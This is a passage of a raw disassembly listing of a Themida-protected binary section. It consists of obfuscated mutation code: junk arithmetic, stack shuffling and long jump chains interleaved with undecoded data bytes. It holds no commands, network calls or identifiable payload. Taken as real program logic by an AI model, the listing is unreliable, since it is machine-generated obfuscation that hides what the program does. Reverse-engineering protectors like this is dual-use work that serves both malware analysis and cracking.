; ---------------------------------------------------------------------------
		db 9
		dd 0E99C2404h, 0FFFF7D63h, 71E268h, 243C8900h, 0CA1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E591:				; CODE XREF: Themida_:0056C31Dj
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55EB36
; ---------------------------------------------------------------------------

loc_55E5A8:				; CODE XREF: Themida_:0055BC9Fj
		pop	edx
		push	26AAh
		mov	[esp], eax
		push	ebp
		mov	ebp, 210269C7h
		shr	ebp, 5
		jmp	loc_560C2E
; ---------------------------------------------------------------------------
		db 81h
		dd 4018F6F3h, 0E9DF2900h, 0FFFFA9E5h
; ---------------------------------------------------------------------------

loc_55E5CC:				; CODE XREF: Themida_:0056790Fj
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56AFCA
; ---------------------------------------------------------------------------

loc_55E5DD:				; CODE XREF: Themida_:0056D52Bj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5665D9
; ---------------------------------------------------------------------------

loc_55E5EA:				; CODE XREF: Themida_:0056872Aj
		xchg	ebx, [esp]
		pop	esp

loc_55E5EE:				; CODE XREF: Themida_:005564F9j
					; Themida_:loc_5582B5j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56B879
; ---------------------------------------------------------------------------

loc_55E602:				; CODE XREF: Themida_:0055FD4Aj
					; Themida_:00564513j
		push	dword ptr [esp]
		jmp	loc_5579AC
; ---------------------------------------------------------------------------
word_55E60A	dw 34FFh		; DATA XREF: Themida_:00556040o
		dd 0E4EBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E612:				; CODE XREF: Themida_:loc_564257j
		jmp	loc_5643EC
; ---------------------------------------------------------------------------
byte_55E617	db 0FFh			; DATA XREF: Themida_:00556230o
a4S_0		db '4$И%ф',0
		db 0
; ---------------------------------------------------------------------------

loc_55E61F:				; CODE XREF: Themida_:0056BB7Cj
		pop	ecx
		sub	edx, edi
		jmp	loc_564F06
; ---------------------------------------------------------------------------

loc_55E627:				; CODE XREF: Themida_:00566BEAj
		sub	edx, 0FFFFFFFFh
		push	ebx
		push	2F463F71h
		pop	ebx
		sub	ebx, 0A460C9Bh
		not	ebx
		xor	ebx, 0D6F8AFD4h
		jmp	loc_55F8A7
; ---------------------------------------------------------------------------

loc_55E644:				; CODE XREF: Themida_:005622EBj
		mov	ebp, edi
		jmp	loc_55AE9D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5304C483h, 0FF8274E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E655:				; CODE XREF: Themida_:0055FEFCj
		mov	eax, 54F17180h
		add	eax, 7AB4648Bh
		or	eax, 0AFE3986h
		push	ebp
		mov	ebp, 6383C105h
		add	eax, ebp
		pop	ebp
		xor	ebp, eax
		jmp	loc_55FD34
; ---------------------------------------------------------------------------

loc_55E674:				; CODE XREF: Themida_:0056A58Bj
		mov	[esp], ecx
		jmp	loc_55FB54
; ---------------------------------------------------------------------------

loc_55E67C:				; CODE XREF: Themida_:00563A12j
		xchg	edi, [esp]
		jmp	loc_55FBF3
; ---------------------------------------------------------------------------
		dd 927C0EBFh, 0EEF5E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E68E:				; CODE XREF: Themida_:00569CE9j
		add	[esp+4], eax
		jmp	loc_56132E
; ---------------------------------------------------------------------------
		db 0C0h
		dd 4BE902E0h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E69F:				; CODE XREF: Themida_:0056C20Aj
		push	5EE1h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_564F49
; ---------------------------------------------------------------------------

loc_55E6AD:				; CODE XREF: Themida_:00565565j
		mov	dl, 0D1h
		xor	cl, dl
		pop	edx
		mov	dh, cl
		pop	ecx
		sub	bl, dh
		mov	dx, [esp]
		jmp	loc_566BEF
; ---------------------------------------------------------------------------

loc_55E6C0:				; CODE XREF: Themida_:00569877j
		add	esp, 2
		jmp	loc_557D2E
; ---------------------------------------------------------------------------

loc_55E6CB:				; CODE XREF: Themida_:loc_56B6FDj
		sub	edi, 2A817336h
		or	edi, 7DE1F60h
		shl	edi, 3
		or	edi, 787B78A7h
		jmp	loc_56413F
; ---------------------------------------------------------------------------

loc_55E6E5:				; CODE XREF: Themida_:0055FCEDj
		xchg	ebp, [esp]
		jmp	loc_56704F
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 0Ch
		dd 4C48324h, 4C181h, 0CB680000h, 8900003Ah, 85E92434h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E707:				; CODE XREF: Themida_:00558230j
		mov	esi, 4
		push	esi
		sub	dword ptr [esp], 3EF01689h
		pop	ecx
		add	ecx, 3EF01689h
		pop	esi
		add	ebp, ecx
		jmp	loc_56838A
; ---------------------------------------------------------------------------

loc_55E723:				; CODE XREF: Themida_:00560E5Fj
		add	edx, ebp
		add	edx, 514B07D8h
		push	ebx
		mov	ebx, 600E3035h
		jmp	loc_55D912
; ---------------------------------------------------------------------------

loc_55E736:				; CODE XREF: Themida_:0055CE5Fj
		push	eax
		mov	ah, 6Fh
		jmp	loc_557245
; ---------------------------------------------------------------------------

loc_55E73E:				; CODE XREF: Themida_:00569F11j
		pop	esi
		pop	ebx
		push	esi
		mov	esi, 0A351382h
		and	esi, 743B1230h
		shr	esi, 8
		shl	esi, 4
		sub	esi, 0A66BA067h
		jmp	loc_556ACA
; ---------------------------------------------------------------------------

loc_55E75D:				; CODE XREF: Themida_:0055D4FFj
		and	eax, 2D4F7B8Eh
		jz	loc_56B6BB
		add	eax, 5D9638EDh
		mov	ecx, eax
		pop	eax
		jmp	loc_55A100
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0DFh
		dd 122BC03h, 0CCDFE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E782:				; CODE XREF: Themida_:00564FE1j
		push	eax
		mov	ah, 0DFh
		add	bh, ah
		pop	eax
		mov	dl, bh
		pop	ebx
		jmp	loc_56056A
; ---------------------------------------------------------------------------

loc_55E790:				; CODE XREF: Themida_:0055F54Fj
		add	bh, al
		jmp	loc_563260
; ---------------------------------------------------------------------------

loc_55E797:				; CODE XREF: Themida_:00567131j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 178B72BBh
		or	ebx, 56641393h
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		and	ebx, 754747B1h
		add	ebx, 0D224C70Bh
		jmp	loc_56854C
; ---------------------------------------------------------------------------

loc_55E7C6:				; CODE XREF: Themida_:00568714j
		push	93368E33h
		jmp	loc_56AE82
; ---------------------------------------------------------------------------

loc_55E7D0:				; CODE XREF: Themida_:0056A438j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56C45E
; ---------------------------------------------------------------------------

loc_55E7D9:				; CODE XREF: Themida_:0056B343j
		and	esi, 51927BF5h
		jbe	loc_55FBBE
		not	esi
		jmp	loc_562E4E
; ---------------------------------------------------------------------------
aVSmv		db '╫╒',0Bh,'╧[И╛V',0
		align 2

loc_55E7F6:				; CODE XREF: Themida_:0056A78Ej
		push	2621h
		mov	[esp], edx
		mov	dh, cl
		mov	bl, dh
		push	dword ptr [esp]
		jmp	loc_568849
; ---------------------------------------------------------------------------
		dw 0E0D0h
		dd 0CBEC8B0Fh, 0C234FFFFh, 0C3885352h, 885BDA88h, 0FF895AD5h
		dd 242C8951h, 0DEF1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E829:				; CODE XREF: Themida_:00564B19j
		sub	edi, 20E65EDh
		push	ebx
		jmp	loc_56C90D
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8ABF243Ch, 0E9192250h, 3047h
; ---------------------------------------------------------------------------

loc_55E848:				; CODE XREF: Themida_:0055F02Ej
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_565DB8
; ---------------------------------------------------------------------------
		dd 0F192C681h, 0F029015Fh, 3BD2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E871:				; CODE XREF: Themida_:005699BDj
		push	eax
		mov	al, 2Eh
		shr	al, 7
		jmp	loc_55B8A7
; ---------------------------------------------------------------------------

loc_55E87C:				; CODE XREF: Themida_:0055DE38j
		mov	edx, ebx
		jmp	loc_56316B
; ---------------------------------------------------------------------------

loc_55E883:				; CODE XREF: Themida_:00568EF5j
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		or	ecx, ecx
		jz	loc_559949
		push	edx
		mov	edx, esp
		jmp	loc_562692
; ---------------------------------------------------------------------------

loc_55E898:				; CODE XREF: Themida_:005563D5j
		mov	edx, ebp
		mov	ecx, edx
		pop	edx
		jmp	loc_55BE16
; ---------------------------------------------------------------------------
		dw 870Fh
		dd 1722h, 0EEFCEA81h, 0F752AC48h
		db 14h,	24h
; ---------------------------------------------------------------------------

loc_55E8B2:				; CODE XREF: Themida_:0055992Cj
		dec	edi
		jmp	loc_565D6B
; ---------------------------------------------------------------------------

loc_55E8B8:				; CODE XREF: Themida_:00563BF2j
		pop	ecx
		jmp	loc_5580E0
; ---------------------------------------------------------------------------

loc_55E8BE:				; CODE XREF: Themida_:00556ADBj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_563862
; ---------------------------------------------------------------------------

loc_55E8DC:				; CODE XREF: Themida_:005635CAj
		sub	eax, ebp
		jmp	loc_5567ED
; ---------------------------------------------------------------------------

loc_55E8E3:				; CODE XREF: Themida_:0055ABE7j
					; Themida_:00562E44j
		mov	eax, ecx
		jmp	loc_55E0DE
; ---------------------------------------------------------------------------

loc_55E8EA:				; CODE XREF: Themida_:0055D6A6j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	0FEDh
		mov	[esp], edi
		sub	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_557E8C
; ---------------------------------------------------------------------------

loc_55E90D:				; CODE XREF: Themida_:005652A5j
		add	edx, ebp
		sub	edx, 2F1B3556h
		pop	ebp
		add	[esp+8], edx
		pop	edx
		add	dword ptr [esp+4], 66141337h
		jmp	loc_55946A
; ---------------------------------------------------------------------------

loc_55E928:				; CODE XREF: Themida_:0055C837j
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55F287
; ---------------------------------------------------------------------------

loc_55E935:				; CODE XREF: Themida_:005658E5j
		xor	esi, [esp]
		jmp	loc_567B6A
; ---------------------------------------------------------------------------

loc_55E93D:				; CODE XREF: Themida_:00556EA3j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_569C5F
; ---------------------------------------------------------------------------

loc_55E952:				; CODE XREF: Themida_:0056B795j
		pop	ebp
		jmp	loc_5648B5
; ---------------------------------------------------------------------------
		dd 4C18159h, 81000000h,	4ECh, 243C8900h, 8D7373BFh, 14F75732h
		dd 0E7815F24h, 26D0463Bh, 0CE7F8F0Fh, 0D7F70000h, 689EBD55h
		dd 0C5812930h, 0DBC3A89h
; ---------------------------------------------------------------------------

loc_55E98C:				; CODE XREF: Themida_:005581E6j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55DB3A
; ---------------------------------------------------------------------------

loc_55E997:				; CODE XREF: Themida_:005580CCj
		push	6C73h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_558838
; ---------------------------------------------------------------------------

loc_55E9B5:				; CODE XREF: Themida_:loc_556FE4j
					; Themida_:0056575Ej
		push	ecx
		push	ebp
		jmp	loc_567303
; ---------------------------------------------------------------------------

loc_55E9BC:				; CODE XREF: Themida_:00558321j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55E9C1:				; CODE XREF: Themida_:005682FBj
		xor	edx, 6BFE1356h
		mov	eax, edx
		pop	edx
		mov	edx, eax
		jmp	loc_56925B
; ---------------------------------------------------------------------------

loc_55E9D1:				; CODE XREF: Themida_:00561D56j
		sub	esp, 4
		jmp	loc_55E09D
; ---------------------------------------------------------------------------

loc_55E9D9:				; CODE XREF: Themida_:00561045j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_563E49
; ---------------------------------------------------------------------------

loc_55E9E4:				; CODE XREF: Themida_:0055C3B3j
		add	ebx, 524960E5h
		shl	ebx, 7
		shl	ebx, 8
		jmp	loc_5628BF
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0B0h
		dd 0E96F4377h, 0FFFFDAD0h, 8B243C87h, 34892424h, 46824h
		dd 0AEE90000h, 83000023h, 5F042404h, 4C781h, 0C7830000h
		dd 243C8704h, 0FFD4EDE9h, 4EEE81FFh, 8B55B06Bh,	0A468240Ch
		dd 89000004h, 0E389241Ch, 4C381h, 55E90000h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EA47:				; CODE XREF: Themida_:005595B4j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	693Ch
		mov	[esp], eax
		push	7CC4012h
		jmp	loc_566FF6
; ---------------------------------------------------------------------------

loc_55EA66:				; CODE XREF: Themida_:0056264Bj
		xor	esi, 8C724863h
		xor	esi, 15A42F7Eh
		add	esi, 33BA1A95h
		shl	esi, 5
		xor	esi, 0B2A26F2Dh
		jmp	loc_559C40
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 87D1F7CDh, 0F9C581CDh, 11BF337h, 40E95DEEh
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EA9B:				; CODE XREF: Themida_:00567AACj
		push	41F7h
		mov	[esp], ebx
		jmp	loc_56A87E
; ---------------------------------------------------------------------------

loc_55EAA8:				; CODE XREF: Themida_:0055AAA7j
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55EF86
; ---------------------------------------------------------------------------

loc_55EAB9:				; CODE XREF: Themida_:00568F3Dj
		add	esi, 1
		add	esi, 73D271BFh
		jmp	loc_568A45
; ---------------------------------------------------------------------------

loc_55EAC7:				; CODE XREF: Themida_:0055D1BDj
		xchg	ecx, edx
		push	edx
		neg	dword ptr [esp]
		pop	edx
		inc	edx
		xor	edx, 9D2F74CFh
		add	edi, edx
		pop	edx
		push	esi
		mov	esi, edi
		push	esi
		pop	ebp
		pop	esi
		pop	edi
		sub	eax, ebp
		jmp	loc_55FA88
; ---------------------------------------------------------------------------
		dw 1489h
		dd 5ACABA24h, 0E9526BA5h, 0FFFFAE3Dh
dword_55EAF4	dd 0AC8DE9ACh		; DATA XREF: Themida_:0055624Co
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EAFA:				; CODE XREF: Themida_:005686D4j
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 3EFF43F0h
		xor	eax, 3EFF43F1h
		push	730Bh
		mov	[esp], eax
		jmp	loc_56A8E9
; ---------------------------------------------------------------------------

loc_55EB17:				; CODE XREF: Themida_:0056C9C1j
		mov	edi, [esp]
		push	esi
		jmp	loc_56112C
; ---------------------------------------------------------------------------

loc_55EB20:				; CODE XREF: Themida_:00568885j
		add	bh, dl
		pop	edx
		sub	bh, 92h
		add	bh, dh
		add	bh, 92h
		sub	bh, 33h
		sub	bh, 0B4h
		jmp	loc_556B8A
; ---------------------------------------------------------------------------

loc_55EB36:				; CODE XREF: Themida_:0055E5A3j
		pop	esp
		jmp	loc_55F206
; ---------------------------------------------------------------------------
		dd 4701312Dh, 241C8B0Ch, 4C481h, 505E0000h, 42474FFh, 0E924048Bh
		dd 0B7Ch
; ---------------------------------------------------------------------------

loc_55EB58:				; CODE XREF: Themida_:00569A8Fj
		or	cl, 90h
		jp	loc_569D2D
		jmp	loc_56CD19
; ---------------------------------------------------------------------------
		dw 5158h
		dd 0EB8BE189h
; ---------------------------------------------------------------------------

loc_55EB6C:				; CODE XREF: Themida_:00565E67j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55D6D6
; ---------------------------------------------------------------------------
		db 29h
		dd 5A042454h, 0E9240C8Bh, 0D66Fh
; ---------------------------------------------------------------------------

loc_55EB84:				; CODE XREF: Themida_:00566726j
		pop	edx
		jmp	loc_56223D
; ---------------------------------------------------------------------------

loc_55EB8A:				; CODE XREF: Themida_:00568873j
		pop	edx
		jmp	loc_56A95B
; ---------------------------------------------------------------------------

loc_55EB90:				; CODE XREF: Themida_:0056269Bj
		xchg	edx, [esp]
		jmp	loc_56A4F3
; ---------------------------------------------------------------------------

loc_55EB98:				; CODE XREF: Themida_:0056AFE1j
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 56994063h
		shl	eax, 2
		push	ebp
		jmp	loc_55900E
; ---------------------------------------------------------------------------

loc_55EBB4:				; CODE XREF: Themida_:0055F310j
		push	ebx
		mov	ebx, 16736457h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_56A1BD
; ---------------------------------------------------------------------------
		dw 49BAh
		dd 55058702h, 0B147E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EBCD:				; CODE XREF: Themida_:0055BF86j
		push	ebp
		push	ebx
		push	2A383CF6h
		mov	ebx, [esp]
		add	esp, 4
		not	ebx
		jmp	loc_55AA10
; ---------------------------------------------------------------------------

loc_55EBE1:				; CODE XREF: Themida_:00565FA5j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		xor	ebx, [esp]
		jmp	loc_56C573
; ---------------------------------------------------------------------------

loc_55EBFB:				; CODE XREF: Themida_:0055DEA6j
		push	esp
		jmp	loc_5588EF
; ---------------------------------------------------------------------------

loc_55EC01:				; CODE XREF: Themida_:loc_559DA8j
					; Themida_:005665EFj
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_566D42
; ---------------------------------------------------------------------------

loc_55EC20:				; CODE XREF: Themida_:00567758j
		push	dword ptr [esp]
		jmp	loc_564BBE
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0AABE2434h, 0F731EE12h, 4EC83DEh,	23B5E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EC3D:				; CODE XREF: Themida_:005642DBj
		add	esp, 4
		jmp	loc_569D6B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 0D008E6C0h, 0B35AE9E6h, 3C87FFFFh, 7F55E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EC5A:				; CODE XREF: Themida_:0055F3A5j
					; Themida_:005600F7j
		sub	eax, 3C2F1E6h
		add	esi, 27271972h
		add	esi, eax
		sub	esi, 27271972h
		pop	eax
		pop	edx
		sub	esi, 2
		jmp	loc_5658FA
; ---------------------------------------------------------------------------

loc_55EC7A:				; CODE XREF: Themida_:005657A3j
		mov	ecx, 6677D6E8h
		jmp	loc_5601B3
; ---------------------------------------------------------------------------
		dd 62B8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EC89:				; CODE XREF: Themida_:0056BAE8j
		add	al, bh
		push	edx
		jmp	loc_56812D
; ---------------------------------------------------------------------------
		db 5Ah,	57h, 0BFh
		dd 389E6EDAh, 0CF81DFF7h, 64076099h, 0F8FCBD55h, 0EF31A671h
		dd 7D12E95Dh, 8F54FFFFh, 0E9502404h, 0FFFFF84Bh
; ---------------------------------------------------------------------------

loc_55ECB8:				; CODE XREF: Themida_:0056017Ej
		add	ah, 0ABh
		pop	edx
		push	eax
		jmp	loc_559C61
; ---------------------------------------------------------------------------
word_55ECC2	dw 0C8Bh		; DATA XREF: Themida_:0055604Co
aPho		db '$Ph▌`',0
		dw 0E900h
		dd 0FFFFFFDEh
; ---------------------------------------------------------------------------

loc_55ECD0:				; CODE XREF: Themida_:00567AA0j
		or	eax, ebp
		mov	ebp, [esp]
		jmp	loc_561AA7
; ---------------------------------------------------------------------------

loc_55ECDA:				; CODE XREF: Themida_:0055908Fj
					; Themida_:loc_55F15Cj
		jns	loc_55953E
		shr	ecx, 1
		jmp	loc_564858
; ---------------------------------------------------------------------------
		db 58h
		db 52h,	8Bh, 0F3h
; ---------------------------------------------------------------------------

loc_55ECEB:				; CODE XREF: Themida_:0055D849j
		add	eax, 4
		push	eax
		jmp	loc_56856B
; ---------------------------------------------------------------------------

loc_55ECF6:				; CODE XREF: Themida_:0056363Ej
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55A8B2
; ---------------------------------------------------------------------------
word_55ED12	dw 8B66h		; DATA XREF: Themida_:00556188o
		dd 0B768240Ch, 89000049h, 11682414h, 8900005Eh,	39E92424h
		dd 1FFFF93h, 0D7015EF2h, 0FFA185E9h, 100BFFFh, 0EF81191Bh
		dd 66E63167h, 0C3E9DF31h
		db 71h,	2 dup(0)
byte_55ED47	db 66h			; DATA XREF: Themida_:00556208o
		dd 5024048Bh, 4837E9h
		db 0
; ---------------------------------------------------------------------------

loc_55ED51:				; CODE XREF: Themida_:0055D898j
		sub	dl, 0F5h
		add	al, dl
		pop	edx
		xor	al, 0DDh
		and	dl, al
		pop	eax
		sub	dl, 24h
		and	dl, 0E7h
		xor	dl, 86h
		xor	ch, dl
		mov	edx, [esp]
		jmp	loc_55F86E
; ---------------------------------------------------------------------------

loc_55ED6F:				; CODE XREF: Themida_:0056C23Aj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5641A5
; ---------------------------------------------------------------------------

loc_55ED80:				; CODE XREF: Themida_:00569DF2j
		add	esi, 35525852h
		add	esi, ebx
		sub	esi, 35525852h
		push	dword ptr [esp]
		pop	ebx
		push	41F2h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56A890
; ---------------------------------------------------------------------------

loc_55EDA1:				; CODE XREF: Themida_:005598EAj
		mov	edx, 51482B24h
		sub	ebx, edx
		pop	edx
		push	ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_55C908
; ---------------------------------------------------------------------------
dword_55EDC0	dd 40C2CACh, 827AE9AFh	; DATA XREF: Themida_:005561E0o
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EDCA:				; CODE XREF: Themida_:00559944j
		mov	edi, esp
		jmp	loc_558982
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 34h
		dd 8BFFFFD6h, 0C4832434h, 0E9F18704h, 0FFFFC31Ch
; ---------------------------------------------------------------------------

loc_55EDE4:				; CODE XREF: Themida_:00556A09j
		xor	[esp+4], eax
		jmp	loc_568704
; ---------------------------------------------------------------------------

loc_55EDED:				; CODE XREF: Themida_:0055A59Ej
		add	[esp], ax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55EDF7:				; CODE XREF: Themida_:005688C0j
		not	ecx
		jmp	loc_5685B5
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 5676B924h, 0C18151CEh, 0A6E53C1h, 1A9EBE56h,	0F6810046h
		dd 4DDB03DEh, 2924E981h, 0F12975BDh, 0FF7596E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EE25:				; CODE XREF: Themida_:00561791j
		push	91Eh
		mov	[esp], ebp
		mov	ebp, 2595604Ch
		xor	esi, ebp
		pop	ebp
		dec	esi
		add	esi, 5944123Ch
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56C711
; ---------------------------------------------------------------------------

loc_55EE49:				; CODE XREF: Themida_:0055AE04j
		sub	edx, 39E27FFh
		push	edx
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 6757F97Bh
		jmp	loc_56B488
; ---------------------------------------------------------------------------

loc_55EE67:				; CODE XREF: Themida_:0056A31Bj
		add	ebx, ebp
		pop	ebp
		jmp	loc_55A6A5
; ---------------------------------------------------------------------------

loc_55EE6F:				; CODE XREF: Themida_:0055F9A0j
		mov	ecx, ebp
		jmp	loc_556AD7
; ---------------------------------------------------------------------------

loc_55EE76:				; CODE XREF: Themida_:0055D835j
		push	7C7Dh
		mov	[esp], eax
		jmp	loc_56D194
; ---------------------------------------------------------------------------

loc_55EE83:				; CODE XREF: Themida_:005677E4j
		add	ebp, esi
		pop	esi
		jmp	loc_5578B2
; ---------------------------------------------------------------------------

loc_55EE8B:				; CODE XREF: Themida_:0056D2F1j
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_557115
; ---------------------------------------------------------------------------

loc_55EE98:				; CODE XREF: Themida_:0056CDF1j
		mov	edi, 878B56E5h
		xor	ecx, edi
		pop	edi
		mov	edi, ecx
		pop	ecx
		jmp	loc_5571A4
; ---------------------------------------------------------------------------

loc_55EEA8:				; CODE XREF: Themida_:0056C3B9j
		sub	ecx, 2C153A90h
		sub	ebx, ecx
		jmp	loc_559AC9
; ---------------------------------------------------------------------------

loc_55EEB5:				; CODE XREF: Themida_:0055A4FAj
		push	ebp
		jmp	loc_55ACD5
; ---------------------------------------------------------------------------

loc_55EEBB:				; CODE XREF: Themida_:0055F761j
		push	45D0h
		mov	[esp], ecx
		push	480048CEh
		jmp	loc_557FDB
; ---------------------------------------------------------------------------

loc_55EECD:				; CODE XREF: Themida_:00567677j
		mov	[esp], edx
		push	31CDh
		mov	[esp], esp
		jmp	loc_55BF75
; ---------------------------------------------------------------------------

loc_55EEDD:				; CODE XREF: Themida_:loc_55B242j
		neg	ebx
		jbe	loc_562D48
		neg	ebx
		jmp	loc_567412
; ---------------------------------------------------------------------------
		dd 0C6240431h
		db 0C1h, 0E8h
; ---------------------------------------------------------------------------

loc_55EEF2:				; CODE XREF: Themida_:00556548j
		sub	al, dh
		pop	edx
		pop	ecx
		add	al, 0Ch
		push	76E7h
		mov	[esp], ecx
		push	4BD2h
		mov	[esp], edx
		mov	dh, 0FCh
		push	ecx
		mov	cl, 0C0h
		dec	cl
		jmp	loc_560B32
; ---------------------------------------------------------------------------

loc_55EF14:				; CODE XREF: Themida_:0055FB92j
		add	esp, 4
		jmp	loc_56C261
; ---------------------------------------------------------------------------
		dd 6624248Bh, 57240C8Bh, 3A3CE9h, 0FF18100h, 0E991E39Ch
		dd 310Ah, 0E97DCA80h, 9811h
; ---------------------------------------------------------------------------

loc_55EF3C:				; CODE XREF: Themida_:005565E6j
		pop	esi
		mov	ebp, edi
		pop	edi
		push	esi
		jmp	loc_55B4A6
; ---------------------------------------------------------------------------

loc_55EF46:				; CODE XREF: Themida_:0055B87Ej
		add	esi, 44F0264Ah
		add	esi, 71B0ABABh
		xor	edx, esi
		jmp	loc_56293B
; ---------------------------------------------------------------------------

loc_55EF59:				; CODE XREF: Themida_:00561EC3j
		mov	ebp, 4027687Eh
		jmp	loc_56CFDE
; ---------------------------------------------------------------------------

loc_55EF63:				; CODE XREF: Themida_:0055FB4Fj
		sub	ebx, 44617DD0h
		sub	ebx, 0D0875DA5h
		jmp	loc_55C3B8
; ---------------------------------------------------------------------------
		dd 45E9D5F7h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EF7B:				; CODE XREF: Themida_:0056BCAEj
		sub	ecx, 68040351h
		jmp	loc_561B3B
; ---------------------------------------------------------------------------

loc_55EF86:				; CODE XREF: Themida_:0055EAB4j
		push	esi
		push	edx
		jmp	loc_5668D1
; ---------------------------------------------------------------------------

loc_55EF8D:				; CODE XREF: Themida_:005576F1j
		push	54Eh
		jmp	loc_5601CC
; ---------------------------------------------------------------------------
		db 52h
		dd 1557FFBAh, 5AD62140h, 9C97E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EFA5:				; CODE XREF: Themida_:0055C73Aj
		xchg	edx, ebx
		dec	ebx
		xor	ebx, 1B20A45h
		jmp	loc_556322
; ---------------------------------------------------------------------------

loc_55EFB3:				; CODE XREF: Themida_:005672AAj
		shr	al, 4
		jmp	loc_56304C
; ---------------------------------------------------------------------------

loc_55EFBB:				; CODE XREF: Themida_:00559D64j
		push	39F3h
		mov	[esp], ebx
		mov	ebx, 2DE8075Eh
		neg	ebx
		inc	ebx
		sub	ebx, 6F519BEAh
		sub	edi, 0EC27F50h
		jmp	loc_55AC67
; ---------------------------------------------------------------------------

loc_55EFDC:				; CODE XREF: Themida_:0055F756j
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_558B1F
; ---------------------------------------------------------------------------

loc_55EFE8:				; CODE XREF: Themida_:00559E15j
		mov	ebx, 3D6A2196h
		jmp	loc_56BEE3
; ---------------------------------------------------------------------------

loc_55EFF2:				; CODE XREF: Themida_:005589F2j
		pop	edi
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_562341
; ---------------------------------------------------------------------------

loc_55F004:				; CODE XREF: Themida_:005693F1j
		mov	eax, 3BC06A19h
		jmp	loc_567A47
; ---------------------------------------------------------------------------
aWsI		db 'WИк┬',0
		align 4

loc_55F014:				; CODE XREF: Themida_:00558B28j
		mov	[esp], ebx
		mov	ebx, 1FB46E9Eh
		sub	ebx, 0CB9A59BAh
		mov	edi, ebx
